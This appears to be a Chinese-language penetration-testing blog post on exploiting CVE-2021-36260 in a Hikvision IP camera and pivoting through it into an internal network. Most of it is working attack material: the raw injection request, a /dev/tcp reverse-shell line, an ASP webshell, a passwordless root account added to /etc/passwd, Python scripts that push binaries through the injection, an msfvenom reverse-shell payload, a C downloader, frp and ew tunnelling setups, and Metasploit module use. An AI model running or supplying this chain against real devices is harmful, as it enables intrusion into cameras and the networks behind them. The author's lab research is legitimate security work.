0x00 简介
在一次服务项目中,涉及到对海康威视摄像头的攻击利用,要求获取摄像头的 shell
,建立代理,之后做两件事
由于环境中的海康威视的摄像头系统版本本身存在漏洞,所以正常来说应该不难,但找到了我们应该是遇到了什么问题,经过测试发现海康威视对设备的 shell
进行了定制,进行了各种功能阉割
接下来我们探索一下这种受限的 shell
如何突破
由于现场环境只提供了一小段时间,而且海康威视的系统似乎不是很容易用虚拟机进行搭建,为给大家提供最真实的体验,我特意买了一个海康威视的设备进行测试,型号
DS-2CD2310-I
漏洞公告
https://www.hikvision.com/cn/support/CybersecurityCenter/SecurityNotices/20210919/
漏洞分析文章
https://kms.app/archives/399/
http://f0und.icu/article/31.html
PoC 地址
https://github.com/Cuerz/CVE-2021-36260
https://github.com/Aiminsun/CVE-2021-36260
简单来说就是系统通过 web 方式以 xml 格式传递标签,标签解析过程中没有做完善的安全验证,导致在后台命令拼接过程中造成了命令注入
PoC
数据包如下
PUT /SDK/webLanguage HTTP/1.1
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: x.x.x.x
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: en-US,en;q=0.9,sv;q=0.8
Content-Length: 71<?xml version="1.0" encoding="UTF-8"?><language>$(ls -l>webLib/c)</language>
上面的命令将 ls -al
的执行结果写入到了当前目录下的 webLib/c
文件中,接下来直接访问根目录的 /c
就可以了
看分析文章中写过,也可以将 $
换成 #
,实际测试一下(仅在我买的摄像头下测试),并不可行
URL编码后
Railgun 工具中正好集成了这个漏洞,直接用工具执行,免得每次要发两次请求查看
https://github.com/lz520520/railgun
正常来说到这里就很简单了,直接 curl
或 wget
一个控制程序就可以上线了
curl
或者 wget
可以看到并没有 payload.elf
下载服务器这边也没有发现访问情况
还是没有访问
难道没有这两个命令吗? 使用 which
和 whereis
查找一下,先拿 pwd
程序测试一下
命令执行并没有结果返回,这里有很多可能,例如系统中的 pwd
仅是 shell 内置命令,没有外部文件,这个可以参考之前的文章 《LD_PRELOAD 劫持 PWD 为什么失败了 | Linux 后门系列》
https://mp.weixin.qq.com/s/InMQaKOwns2mEIp5yF8dDw
还有可能是 whereis
和 which
命令本身就不存在
这个验证起来简单,找一个在环境变量 PATH
中的,一定存在的程序进行查找,对比结果
可以看到我们还是 root
用户权限,PATH
结果如下
PATH=/sbin:/usr/sbin:/bin:/usr/bin
可以看到,此设备的 shell
环境是由 busybox
提供的,那我们就以 busybox
程序为例
看来没有这两个程序,这样查看命令和工具是否存在就只能通过环境变量 PATH
和 busybox
内置列表了
可以看到,文件下载相关的命令 ftp
、scp
、rsync
等并不支持
[, [[, ash, awk, bash, cat, chmod, cp, date, df, dmesg, du, echo, env, false, fdisk, free, fsync, gunzip, gzip, halt, hwclock, ifconfig, init, insmod, iostat, kill, linuxrc, ln, login, ls, lsmod, lzcat, lzma, mdev, mkdir, mkdosfs, mkfs.vfat, mknod, modprobe, mount, mpstat, mv, netstat, ping, ping6, poweroff, ps, pwd, reboot, rm, rmmod, route, sed, sh, sleep, stty, sync, tail, tar, test, top, touch, true, umount, unlzma, zcat
和外部网络搭边儿的也就是 ping
相关的命令
bash -i >& /dev/tcp/192.168.1.125/4444 0>&1
难道是不出网? 测试一下 ping
ping -t 1 192.168.1.125
失败,看来似乎是不支持
nc -nv 192.168.1.125 4444
失败,确实也是没看到 nc
或者 netcat
命令,去环境变量的执行路径里找一下
经过测试,命令执行环境对 ;
和 |
支持不是很好,而且没有 grep
,只能 ls -al
取结果我们这边分析了
没有找到 nc
和 netcat
之类的,可执行文件中其实主要就是/bin
下的 busybox
提供的命令以及 da_info
提供的,显然后面这个大概率是海康威视自己开发的,这些命令都和实际产品功能紧密相关
可以看到这是个动态链接的 ELF 文件,还是 ARM 架构的,还去除了符号信息
可以通过命令枚举或者ELF逆向分析查看这其中会不会有可以远程下载或者远程控制的方法,但这个 da_info
可能仅是海康的设备上的,不是通用的方法,我们不对这个进行深入研究,仅仅是通过执行该程序看看 banner
没有找到可以直接利用的
编程语言环境也没有发现
这本身是个 web 系统啊,还是 asp
的,啊? Linux 上的 asp
还真是少见,我直接写一个 asp
的木马进去不就完了吗?
先找到 web 路径,从漏洞利用 PoC 可以知道,./webLib
对应的应该就是根目录
直接访问 index.asp
和 dispatch.asp
会跳转到登录口 /doc/page/login.asp
,那就先找一下登录页面相关的路径吧,这样可能更容易访问一些,绝对路径如下
/home/webLib/doc/page
通过 echo 写入 Webshell
<%
Response.CharSet = "UTF-8"
k="e45e329feb5d925b" '该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
Session("k")=k
size=Request.TotalBytes
content=Request.BinaryRead(size)
For i=1 To size
result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))
Next
execute(result)
%>
这里用 Railgun 就不是很方便了,用 Burpsuite
吧
这里分两次写是因为这个漏洞可执行的命令长度有限制,而且还不太统一
访问 webshell
看起来似乎没有解析呀,冰蝎连接一下,有枣没枣打三竿
不出所料,连接不上
为什么会不解析呢? 看一下其他的 asp
文件,难道有什么特殊的吗
好像没有什么 asp
的代码呀
看来这并不是什么 asp
,而可能是一种自定义解析的格式
系统中没有 lsof
,所以用 netstat
看看到底是哪个程序起的 80 端口
可以看到,是由一个叫做 davinci
的程序,在网上也没有找到相关资料,好像是和一个剪辑软件重名了
于是尝试找到这个程序
ls -al /proc/331/exe
就在当前目录下,但是被删除了,根据 《Linux 应急响应手册》小技巧 -> 0x08 数据恢复,尝试恢复该程序
fd
文件夹下有很多内容,但是并没有找到 deleted
标志的,在 maps
文件中可以看到 davinci
在内存中的位置
如果想从内存中重建文件不是很容易,而且现在关键问题是也无法上传文件工具,能上传早就控制了
发文件的过程中发现以下文件
/home/davinci.lzma // 压缩后的程序, lzma -d davinci.lzma 可以解压
/dav/davinci_bak
可以考虑对程序进行逆向分析,直接执行均未发现可利用的点
上面首先是尝试了反向控制相关的远程下载、反弹shell,也尝试了正向控制中的 Webshell,都没有成功,由于是测试环境,我是知道它是出网的,所以没有测试出网情况。
没有 nc
、telnet
之类的工具,就只能使用现有的服务来监听端口了,ssh
服务是一个不错的选择,这也是 PoC
中利用的方式
海康威视的这个摄像头的 ssh
是通过 dropbear
起的,而不是 OpenSSH
https://matt.ucc.asn.au/dropbear/dropbear.html
这导致之前启动 OpenSSH
的命令怎么都没效果
当前 ssh 似乎是没有开,但是从 netstat
的命令执行结果上看是开了
PoC 中使用 dropbear -R -B -p 1337
在 1337 端口设置监听,还新建了一个不需要密码的账户
这个摄像头的操作系统是通过 /etc/passwd
管理账户及密码的,我们既然是 root
权限,可以直接添加账户进去了
echo "P::0:0:W:/:/bin/sh" >> /etc/passwd
这种涉及到重定向的操作就不要在 Railgun 中执行了,可能是因为要显示结果,所以默认就带了输出重定向,和我们的重定向互相冲突,用 Burpsuite 就好了
dropbear -R -B -p 1337
这条命令也在 Burpsuite
中执行,不知道为什么 Railgun 中执行会没有效果
-R
:根据需要创建主机密钥-B
:允许空密码登录-p 1337
:该选项表示启动 Dropb成功登录 SSH
喜欢使用 FinalShell 的朋友需要注意,FinalShell 目前还不支持没有密码的 SSH 连接
不写公钥,写账户是因为写账户比较简单易操作,有密码和无密码其实差别就在于 /etc/passwd
的第二位
我们可以按照当前操作系统的规则生成一个密码,以创建 user/userpass
为例
$1$yi$edpzE7hM/R4nw3PnFuiVL/
admin 的hash含义是密码经过了 md5
加密并且盐(salt) 值为 yi
在我们自己的 Ubuntu 上安装 whois
,并通过 mkpasswd
生成 Hash
sudo apt install whois
mkpasswd -m md5 --salt=SaltValue userpass
mkpasswd
要求盐值不少于 8 为,我们就以 12345678
作为盐值
$1$12345678$sEgioVKWacw6d9iYXc1P4/
拼接后完整如下
user:$1$12345678$sEgioVKWacw6d9iYXc1P4/:0:0:W:/:/bin/sh
直接通过 SSH,使用 cat
将内容写入到 /etc/passwd
,千万记得要用追加写 >>
,而且 $
需要转义 \$
这 ssh 还设置了一些安全策略,错误的密码登录后(例如通过 FinalShell 登录尝试),会导致IP封禁
使用 user/userpass 通过 FinalShell 登录
至此,已经成功获取了 ssh shell,上面的部分内容都是铺垫,接下来就是今天要详细探讨的内容
目前虽然获取到了 SSH 的权限,但是无法上传文件,建立代理
cat payload.elf | ssh -v -p 1337 [email protected] 'cat > payload.elf'
很可惜,失败了
既然 FinalShell 都可以连接上了,是不是可以直接利用其传文件了
FinalShell 默认会使用 SFTP
或 SCP
,FinalShell 报错估计这几个协议肯定是都不行,但还是要测试一下
scp -v -P 1337 payload.elf [email protected]:/home/payload.elf
失败,查询资料后发现默认 Dropbear
是不支持 SCP
的
sftp -P 1337 [email protected]
失败,查询资料后发现默认 Dropbear
不支持 SFTP
并没有 21 等端口开放
之前失败了,由于之前显示不全,不知道失败的原因,现在可以重新试试
看来 busybox 把这个功能去掉了,包括UDP
CVE-2021-36260 的作者 Watchful_IP
在漏洞描述过程中介绍了可以在获取 SSH shell 后通过禁用 web 认证的方式使用任意密码登录
https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html
但是作者没有详细介绍如何实现的,下面是 Github 上安全研究人员关于这件事的讨论,简单来说就是修改其中的数据库,添加一个账户,之后重启,但是对我们来说目前还无法上传工具呢,更别说修改 Sqlite 数据库了
https://github.com/jorhelp/Ingram/discussions/9
既然 SSH 已经建立好了,可以直接利用其隧道功能,进而对内网进行攻击呀
这里就不用命令行了,有一个工具可以很直观的配置隧道 —— MobaXterm
https://mobaxterm.mobatek.net/
这就很直观了,我们选择动态端口转发,按照提示填写本地代理监听端口以及作为中转的SSH服务器信息
点击开始按钮
通过 Proxifier
配置代理,测试是否成功
https://www.proxifier.com/
这里将 127.0.0.1
这种本地流量都走代理,浏览器访问 127.0.0.1
代理成功,但是这还不是很明显,建立代理的这台 Windows 网段为 192.168.31.x
,我们在 192.168.1.x 段找一台服务器,禁止来自 192.168.31.x 以及路由 192.168.1.97 的连接,这样就可以测试代理是否成功
模拟隔离主机: 192.168.1.126
规则如下:
安装 apache2
sudo apt install apache2
攻击机关闭代理后可以直接访问其 80 端口
添加防火墙
通过自带的 ufw
来完成
# 启用防火墙
sudo ufw enable# 添加拒绝访问 192.168.1.97 的规则
sudo ufw deny from 192.168.1.97
# 添加拒绝访问 192.168.31.0/24 网络的规则
sudo ufw deny from 192.168.31.0/24
# 添加拒绝访问 192.168.1.125 的规则
sudo ufw deny from 192.168.1.125
# 添加允许访问 80 端口的规则
sudo ufw allow from 192.168.1.0/24 to any port 80
攻击机关闭代理后访问 80 端口
使用海康威视摄像头作为代理,再次访问
成功建立了一条通向内网的代理
一般到上一步代理搭建完成,就继续进行横向渗透了,但是并不是所有的 RCE 都能有机会建立 ssh
隧道,我们要找到一条更加通用的方法,最通用的方法应该就是 echo
写文件了
如果是文本文件,我们直接通过 cat
就可以写进去,但是二进制可执行文件用 cat
就不是很好写了,上面我们也尝试了通过管道 + cat
,也失败了
如果想将一个二进制可执行文件写入这个过程用 PoC
来完成,需要让二进制可执行文件以可读字符的形式进行编码,对于常规系统,经常将二进制可执行文件进行 base64 编码,之后传递,但是在受限的 shell 中,并没有提供 base64 解码工具,所以这次得用 16 进制格式进行编码,编码后的内容通过 echo -n -e
写入到文件中
这两个选项有效地将 16进制表示的二进制可执行文件一点一点写入到文件中
所以这里涉及两个步骤
\x00
这种格式这里直接用一个 Python
脚本来完成
import requests
import sys
import urllib.parsedef read_string(string, chunk_size=2000):
start = 0
while start < len(string):
end = start + chunk_size
chunk = string[start:end]
yield chunk
start = end
# 构建请求头部
headers = {
'User-Agent': 'python-requests/2.22.0',
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Connection': 'close',
'X-Requested-With': 'XMLHttpRequest',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8',
}
def sendPayload(target, poc_data):
# 设置要发送的数据
data = '<?xml version="1.0" encoding="UTF-8"?><language>$(echo -n -e "' + poc_data + '" >> webLib/payload.elf)</language>'
url = urllib.parse.urljoin(target, 'SDK/webLanguage')
# 发送请求
response = requests.put(url, headers=headers, data=data)
# 检查响应状态码等,确保请求成功
if response.status_code == 500:
return True
return False
if len(sys.argv) < 3:
print("Usage: python script.py <target_address> <file_path>")
sys.exit(1)
target = sys.argv[1]
file_path = sys.argv[2]
with open(file_path, 'rb') as file:
elf_data = file.read()
hex_string = ''.join(['\\x{:02x}'.format(byte) for byte in elf_data])
hex_string_len = len(hex_string)
print(hex_string_len)
# 动态设置 Host 字段
headers['Host'] = urllib.parse.urlparse(target).netloc
i = 0
for chunk in read_string(hex_string, chunk_size=120):
result = sendPayload(target, chunk)
if not result:
print('send again')
result = sendPayload(target, chunk)
if result:
print(str(i) + '/' + str(hex_string_len))
i += 120
else:
print('Request failed.')
sys.exit(1)
print('Over')
直接使用 MSF
进行生成,我们需要知道 CPU架构、32 还是 64 位处理器、大端还是小端
类似 arch
、lscpu
这些命令在当前环境中都没有,可以通过下面的命令进行查看
cat /proc/cpuinfo
可以看到 CPU 为 ARM926EJ-S rev 5 (v5l)
,经过查询是一款 ARM 架构,32 位的CPU
大小端这个事我们可以从服务器上下载几个可执行文件,看看它们是大端还是小端的
以 /bin/da_info
和 /bin/busybox
为例
通过 Ghidra
进行分析
https://github.com/NationalSecurityAgency/ghidra
直接将文件拖进 Ghidra
就可以了,此步骤建议在虚拟机中进行
可以看到,显示的都是 LE
,小端
接下来通过 msfvenom
生成 payload
msfvenom -p linux/armle/meterpreter/reverse_tcp -a armle RHOST=192.168.1.125 RPORT=443 --platform linux -f elf -o payload.elf
只有 344 个字节大小
通过之前的部分我们可以知道,攻击数据包是有大小限制的,具体限制是多少还不是固定的,每种设备不一样
我们可以通过下面的脚本进行粗略测试
import requests
import sys
import urllib.parse# 构建请求头部
headers = {
'User-Agent': 'python-requests/2.22.0',
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Connection': 'close',
'X-Requested-With': 'XMLHttpRequest',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8',
}
def sendPayload(target, poc_data):
# 设置要发送的数据
data = '<?xml version="1.0" encoding="UTF-8"?><language>$(echo -n -e "' + poc_data + '" > webLib/payload.txt)</language>'
url = urllib.parse.urljoin(target, 'SDK/webLanguage')
# 发送请求
response = requests.put(url, headers=headers, data=data)
# 检查响应状态码等,确保请求成功
if response.status_code == 500:
return True
return False
def getPayloadLength(target):
url = urllib.parse.urljoin(target, 'payload.txt')
response = requests.get(url, headers=headers)
p_length = len(response.text)
return p_length
def testPayloadLength(target):
# 动态设置 Host 字段
headers['Host'] = urllib.parse.urlparse(target).netloc
# 测试数据包长度限制
length = 4
while True:
chunk = 'A' * length
result = sendPayload(target, chunk)
p_length = getPayloadLength(target)
if result and length > p_length:
print(f"Payload length: {length - 4}")
break
length += 4
if len(sys.argv) < 2:
print("Usage: python script.py <target_address>")
sys.exit(1)
target = sys.argv[1]
testPayloadLength(target)
如果你自己修改了脚本,建议这个数字再小一点,减少 4 的整数倍,这里就以 180 为例,修改echo写入脚本
import requests
import sys
import urllib.parsedef read_string(string, chunk_size=100):
start = 0
while start < len(string):
end = start + chunk_size
chunk = string[start:end]
yield chunk
start = end
# 构建请求头部
headers = {
'User-Agent': 'python-requests/2.22.0',
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Connection': 'close',
'X-Requested-With': 'XMLHttpRequest',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8',
}
def sendPayload(target, poc_data):
# 设置要发送的数据
data = '<?xml version="1.0" encoding="UTF-8"?><language>$(echo -n -e "' + poc_data + '" >> webLib/payload.elf)</language>'
url = urllib.parse.urljoin(target, 'SDK/webLanguage')
# 发送请求
response = requests.put(url, headers=headers, data=data)
# 检查响应状态码等,确保请求成功
if response.status_code == 500:
return True
return False
if len(sys.argv) < 3:
print("Usage: python script.py <target_address> <file_path>")
sys.exit(1)
target = sys.argv[1]
file_path = sys.argv[2]
with open(file_path, 'rb') as file:
elf_data = file.read()
hex_string = ''.join(['\\x{:02x}'.format(byte) for byte in elf_data])
hex_string_len = len(hex_string)
print(hex_string_len)
# 动态设置 Host 字段
headers['Host'] = urllib.parse.urlparse(target).netloc
i = 0
for chunk in read_string(hex_string, chunk_size=180):
result = sendPayload(target, chunk)
if not result:
print('send again')
result = sendPayload(target, chunk)
if result:
print(str(i) + '/' + str(hex_string_len))
i += 180
else:
print('Request failed.')
sys.exit(1)
print('Over')
成功反弹shell 并测试上传文件
成功上传文件
https://github.com/fatedier/frp
https://github.com/fatedier/frp/releases/download/v0.55.1/frp_0.55.1_linux_arm.tar.gz
下载 arm
32位版本的
在尝试通过 meterpreter
进行上传 frp 时,结果传到一半,meterpreter
就断了,之后就出现了
看来是重启了,之前所有的操作没了,这用来做痕迹清除可太方便了
咱就不苦中作乐了,现在有两种思路
meterpreter
继续上传frp
等 echo
进去echo
一个最简单的下载器进去选择哪个方法呢? 在我看来 meterpreter
的方法更优,但是我们两个都实现一下,这一部分先实现 meterpreter
再次利用脚本上传、建立监听、赋予权限并执行
上传 frp
好吧,看来这个海康威视设备的性能确实不支持我们直接传递 11 M的程序
上传 ew
ew 小多了,只有 195K
创建代理
https://github.com/idlefire/ew
攻击机VPS (192.168.1.125) 模拟公网IP
./ew -s rcsocks -l 1080 -e 8888
建立代理监听 1080 端口,并将数据通过 8888 端口传递出去
受害摄像头(192.168.1.64)
./ew -s rssocks -d 192.168.1.125 -e 8888
攻击机物理机(192.168.31.x)
在上一步我们做了隔离,192.168.1.126
只允许同网段非 192.168.1.97
访问
使用 socks5://192.168.1.125:1080
访问 http://192.168.1.126
尝试用代理访问
成功建立代理
这部分坑特别多,我耗费了几天才找到解决办法,接下来将展示踩坑过程,我会尽量简洁,忽略小坑
通过上面的步骤,我们已经可以完成实际控制,但是直接写入木马或者代理对部分设备本身来说可能有不小的压力,尤其是这种嵌入式设备,我这次测试就被迫重启了好多好多次,每次重启设备上的木马等痕迹就完全清空了
想象一下我们先传输了 MSF
木马,之后利用 meterpreter
传输了代理或者攻击程序,利用了一小会儿设备崩了,重启,一切又回到原样了,于是我们就进入了循环,但问题是,这些循环是人来驱动的,并不工程化,这不是实际攻击实施过程中追求的
我们更希望这部分内容是工程化的,而且由于指令集的不同,各种木马程序和代理程序是否能够兼容也是一个巨大的问题
这节我们要介绍一些恶意攻击者常用的思路,也就是先传输小的下载器进去,之后利用下载器下载真正的payload,当然了,其实写入 meterpreter
的本质也是一样的
可能有小伙伴会说,这不难呀,有必要单独说吗?
这里单独拿出来写是因为涉及到下载器编写、跨平台编译等,我们先看一下成型的下载器
wget
和 curl
由于做了很多功能,所以比较大,还不如直接写入一个 ew
了
下面我们来写一个最小的下载器,功能就下载 http://192.168.1.125/a
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/stat.h>
#include <sys/types.h>#define BUFFER_SIZE 4096
int main(void) {
const char *host = "192.168.1.125";
const char *path = "/a";
const char *output_file = "payload";
const int port = 80;
struct sockaddr_in server_address;
int sockfd, filefd;
char request[256];
char buffer[BUFFER_SIZE];
ssize_t bytes_read;
int start_writing = 0; // Flag to start writing to file
// Create socket
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
fprintf(stderr, "Error creating socket\n");
return 1;
}
// Set server address
memset(&server_address, 0, sizeof(server_address));
server_address.sin_family = AF_INET;
server_address.sin_port = htons(port);
if (inet_pton(AF_INET, host, &(server_address.sin_addr)) <= 0) {
fprintf(stderr, "Invalid address or address not supported\n");
close(sockfd);
return 1;
}
// Connect to server
if (connect(sockfd, (struct sockaddr *)&server_address, sizeof(server_address)) < 0) {
fprintf(stderr, "Error connecting to server\n");
close(sockfd);
return 1;
}
// Send HTTP GET request
snprintf(request, sizeof(request), "GET %s HTTP/1.1\r\nHost: %s\r\n\r\n", path, host);
if (write(sockfd, request, strlen(request)) < 0) {
fprintf(stderr, "Error sending request\n");
close(sockfd);
return 1;
}
// Open output file
filefd = open(output_file, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR);
if (filefd < 0) {
fprintf(stderr, "Error opening file for writing\n");
close(sockfd);
return 1;
}
// Read and write response data
while ((bytes_read = read(sockfd, buffer, BUFFER_SIZE)) > 0) {
// Check if the response headers have ended
if (!start_writing) {
char *body_start = strstr(buffer, "\r\n\r\n");
if (body_start != NULL) {
start_writing = 1;
bytes_read -= (body_start - buffer + 4);
memcpy(buffer, body_start + 4, bytes_read);
} else {
continue;
}
}
if (write(filefd, buffer, bytes_read) < 0) {
fprintf(stderr, "Error writing to file\n");
close(filefd);
close(sockfd);
return 1;
}
}
// Check for read error
if (bytes_read < 0) {
fprintf(stderr, "Error reading response\n");
close(filefd);
close(sockfd);
return 1;
}
// Close file and socket
close(filefd);
close(sockfd);
return 0;
}
如果再追求小,可以将部分错误处理去掉,同时将输出到文件也去掉,直接输出到标准输出,之后执行的时候通过重定向到文件来完成文件保存
大部分朋友的设备都是 x86
的,我们需要在 x86
的 CPU 上编译 arm
架构的程序
本次操作环境为 Ubuntu Server 22.04 x86_64
系统上直接 apt install gcc
安装的 gcc
显然是不能用于编译了,得安装目标平台专用的gcc
,这个时候我才发现,单arm
相关 gcc
来说至少有以下几种
这个时候发现 ARM
架构版本之类的挺复杂,gcc 分类方法就有以下几种
Arm架构上的不同版本的GCC(GNU Compiler Collection)之间的主要区别体现在以下几个方面:
我们的 CPU 信息
Processor : ARM926EJ-S rev 5 (v5l)
BogoMIPS : 218.72
Features : swp half thumb fastmult edsp java
CPU implementer : 0x41
CPU architecture: 5TEJ
CPU variant : 0x0
CPU part : 0x926
CPU revision : 5Hardware : r2
Revision : 0000
Serial : 0000000000000000
我们选择 arm-linux-gnueabi-gcc
这个 gcc
sudo apt update
sudo apt install gcc-arm-linux-gnueabi
先以最简单的 hello wrold
为例,测试没问题后再编译我们的下载器
#include <stdio.h>int main() {
printf("Hello, World!\n");
return 0;
}
执行结果显示 -sh: ./payload.elf: not found
,这什么情况?
难道是传输过程中文件不完整?
不是这个原因,这说明是文件本身有问题
可能是编译过程中参数有问题,经过查询,发现可以设置 ARM
的架构以及CPU参数
arm-linux-gnueabi-gcc -march=armv5tej -mtune=arm926ej-s hello.c
还是这个结果
用汇编语言写 hello wrold
,之后用我们选择的编译器进行编译、连接,看看是否也会这样
.data
msg:
.ascii "Hello, world!\n\0" .text
.global _start
_start:
mov r0, #1 @ stdout file descriptor
ldr r1, =msg @ address of the message
ldr r2, =13 @ length of the string (including newline)
mov r7, #4 @ syscall number for write()
syscall_write:
svc #0 @ make system call
mov r7, #1 @ syscall number for exit()
mov r0, #0 @ exit code
syscall_exit:
svc #0 @ make system call to exit
编译、链接
arm-linux-gnueabi-as hello_world.s -o hello_world.o # 编译为目标文件
arm-linux-gnueabi-ld -o hello_world hello_world.o # 链接目标文件为可执行文件
可以看到汇编程序可以成功执行,那就说明编译器没有选择错,代码肯定也没有问题,那就是 libc
出了问题
原本我想用汇编写一个下载器,但是我不会 ARM 汇编,遂作罢
难道说目标系统上不存在动态链接器吗?
目标环境中检查动态链接器
果然,目标系统上的动态链接器是 uClibc
,我们尝试新建一个文件,命名为 /lib/ld-linux.so.3
,之后看看我们的程序在这前后执行有没有什么不同
问题原因找到了,看来是 libc
的原因,这样我们就有两条路可以走了
uClibc
为动态链接器的程序这个简单,只需要加一个 -static
参数就可以了
arm-linux-gnueabi-gcc -march=armv5tej -mtune=arm926ej-s -static hello.c
静态编译后大小有 567K
,与 ew
差不多,567K
通过 echo
写入需要非常长的时间,最关键的是,传输到不到一半就会导致摄像头崩溃,重启,之后一切都重来,但是我们可以通过在每次发包之间加入时间延时来解决
这里我就直接用 MSF
上传上去了
好家伙,没有活路了呀,静态编译都显示内核太老了,难道我还再整个低版本内核的系统进行编译吗?
还是编译 uClibc
吧,之后动态链接
https://uclibc.org/
我们也选择 0.9.32.1
版本
# 下载 uClibc
wget https://uclibc.org/downloads/uClibc-0.9.32.1.tar.xz# 解压
tar -xf uClibc-0.9.32.1.tar.xz
# 配置
make menuconfig
Target Architecture 选择 arm
Target Architecture Features and Options
Target ABI -> EABI
Target Processor Type -> Arm 926T
Target Processor Endianness -> Little Endian
保存
编译
make
sudo make install
报错了,难道 gcc
不支持 -mlittle-endian
参数吗,测试一下
arm-linux-gnueabi-gcc
没问题呀,难道编译用的是系统的 gcc
吗
果然,我们既然是给 ARM
平台使用的,那就需要使用 arm-linux-gnueabi-gcc
进行编译
再次 make menuconfig
uClibc development/debugging options
Cross-compiling toolchain prefix -> arm-linux-gnueabi-
再次
make
make install
再次报错
看这样我们需要配置 kernel headers
Target Architecture Features and Options
Linux kernel header location
再次 make
又有新的报错,到这里查询网上资料我也不知道该如何解决了
看看 uClibc
官网,发现了这个
https://uclibc.org/toolchains.html
这里面说要编译 GNU binutils
、GCC
、uClibc
形成一个工具链,在后面我们发现了一个好东西 —— buildroot
,网上查询之后,类似的工具还不少
https://buildroot.org/
https://buildroot.org/
安装过程参考
https://www.zhiwanyuzhou.com/index.php/2022/07/17/%E4%BD%BF%E7%94%A8buildroot%E5%88%B6%E4%BD%9C%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%91%E5%B7%A5%E5%85%B7%E9%93%BE/
官方手册
http://nightly.buildroot.org/manual.pdf
# 安装部分依赖软件
sudo apt update
sudo apt install gcc make libncurses5-dev
sudo apt install qemu-user# 下载
wget https://buildroot.org/downloads/buildroot-2024.02.tar.gz
# 解压
tar -zxvf buildroot-2024.02.tar.gz
cd buildroot-2024.02/
# 编译配置
make menuconfig
熟悉的页面又回来了
Target options
Target Architecture -> ARM (little endian)
Target Architecture Variant -> arm926t
这部分剩下不需要动
Toolchain
C library -> uClibc-ng
Kernel Headers -> Manually specified Linux version
linux version -> 3.0.8
Custom kernel headers series -> 3.0.x
Enable C++ support -> *
这里面的内核版本 3.0.8
是通过在目标系统执行 cat /proc/version
得到的
保存
# 编译
make toolchain -j4 V=0
这部分如果报错都好解决,例如安装 g++
这部分非常非常长,就连
uClibc
官网都建议我们去吃一个美味健康的三明治,喝一杯汽水,给朋友打电话,玩玩电子游戏,然后找点事情做,我就去吃个饭吧
在这个过程中会下载大量的文件,如果空间不够会导致失败,由于我之前测试已经在其他目录编译过了,这次出现了编译失败,删除文件腾出空间后编译成功,总大小如下
可以在编译所在的目录的相对目录找到编译好的gcc
./output/host/bin/
将该文件夹添加到环境变量中
echo "export PATH=\$PATH:$(pwd)" >> ~/.bashrc
source ~/.bashrc
测试一下
arm-linux-gcc --version
成功添加至环境变量,可以在任意目录直接调用了
arm-linux-gcc -static hello.c
使用 qemu
模拟测试执行成功了,体积有 113K
大小,通过 meterpreter
上传到目标系统上去
成功执行!!! 但是 113K
这个大小还是有点大了,尝试编译动态链接的程序
arm-linux-gcc hello.c
大小 7.3K
,看看是否可以运行,这么点大小这次直接用 PoC
上传
成功啦!!!
去除符号信息后 5.2K
这次争取不用 SSH
,完全用 RCE
漏洞
修改 frpc.toml
serverAddr = "192.168.1.125"
serverPort = 7000[[proxies]]
name = "plugin_socks5"
type = "tcp"
remotePort = 1080
[proxies.plugin]
type = "socks5"
将 frpc
和 frpc.toml
打包,重命名为 a
配置 FRP
监听
bindPort = 7000
通过 PoC
上传下载器,并搭建 HTTP
服务器
等一会儿,等它传输完
下载器会将文件下载至你执行下载器的文件夹下,而不是下载器本身所在的文件夹下
解压 frpc
,也就是 payload
文件
在这千钧一发之际,果然,这个摄像头系统又崩了,看来性能实在堪忧,当然这是对于我们额外的需求来说
重复测试
再次崩溃,但这根本难不倒我,我们将 frpc
和 frpc.toml
分别命名为 a
,之后下载两次
万事俱备,可以开始建立代理了
没有代理建立成功,通过ssh上去执行一下看看
校验一下 Hash
看来这 frp
的 arm
版与这个并不兼容
搭建 GO 环境
https://go.dev/doc/install
wget https://dl.google.com/go/go1.22.1.linux-amd64.tar.gz
rm -rf /usr/local/go && tar -C /usr/local -xzf go1.22.1.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
拉取 frp
源代码
git clone https://github.com/fatedier/frp.git
静态编译 frpc
export GOARCH=arm
export GOARM=5 # 对应ARMv5架构
export CGO_ENABLED=1
export CC=/home/join/download/buildroot-2024.02/output/host/bin/arm-linux-gcc
export CXX=/home/join/download/buildroot-2024.02/output/host/bin/arm-linux-g++go env -w GOPROXY=https://goproxy.cn,direct
go build -ldflags '-extldflags "-static" -s -w' -tags netgo -o frpc_arm_v5 cmd/frpc/*.go
这里环境变量 CC
和 CXX
分别对应我们用 buildroot
生成的 gcc
以及 g++
VPS (192.168.1.125)
./frps -c frps.toml
受害摄像头
上传下载器 -> 下载 frpc
-> 下载 frpc.toml
-> 建立代理
执行 frpc -c frpc.toml
成功获取到代理
成功访问到 192.168.1.126
其实 Metasploit
中自带了 CVE-2021-36260
的 Payload
,攻击起来异常便利
search CVE-2021-36260
填写部分信息
set rhost 192.168.1.64
set lhost 192.168.1.125
show targets
set target Linux Dropper
exploit
看起来和我们之前的 echo
操作是一样的
成功获取到 shell
从 192.168.1.125
访问 192.168.1.126
是访问不通的
添加路由
因为本身 VPS
就处于 192.168.1.0
这个段了,这样我们就直接添加一个到 192.168.1.126
的路由
route add 192.168.1.126 255.255.255.255 192.168.1.64
配置 socks5
代理,监听 1080
端口
利用代理访问受限网络
https://github.com/jorhelp/Ingram/discussions/9
